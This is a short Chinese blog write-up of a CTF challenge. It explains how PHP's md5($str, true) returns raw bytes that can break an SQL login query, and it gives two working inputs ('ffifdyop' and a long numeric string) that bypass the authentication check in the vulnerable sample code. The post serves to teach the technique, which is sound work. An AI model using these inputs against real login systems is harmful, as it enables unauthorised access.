Notes of Laurel | 大雨将至

SQL injection with raw MD5 hashes

Word count: 333Reading time: 1 min
2019/08/31 Share

浮生若梦,若梦非梦。


参考:http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

描述:PHP中md5($str,true)的SQL注入

原题:Lett More CTF 2010

例题:实验吧-后台登录

网页源代码:

1
2
3
4
5
6
7
8
9
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->

我们需要提交password来进行注入攻击。关键点在md5($password,true)这里。md5(str)和md5(str,true)有什么不一样呢?

参考:http://222.173.43.133:8025/php/func_string_md5.asp.htm

md5(str,raw)

raw默认为FALSE,输出格式为32字符十六进制数。

当raw为TRUE时,输出为原始16字符二进制数。

直接来试一下:

1
2
3
4
5
6
<?php
$str="laurel";
echo $str."<br>";
echo md5($str,true)."<br>";
echo md5($str);
?>

运行结果为:

1
2
3
laurel
.ia��;�V� �=T��
2e6961f1a73b1fdc56c50de93d54e2c8

可以看到,当raw为true时,返回的原始二进制格式会被当作字符串处理。

所以我们提交的字符串计算原始md5后,包含SQL注入的特殊字符就行了。

这个大佬在计算了19million的MD5哈希值后,找到了一个answer:

1
2
3
4
content: 129581926211651571912466741651878684928
count: 18933549
hex: 06da5430449f8f6f23dfc1276f722738
raw: ?T0D??o#??'or'8.N=?

此外,还有一个answer:

1
2
3
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

所以提交这两个str都可以成功getflag。


CATALOG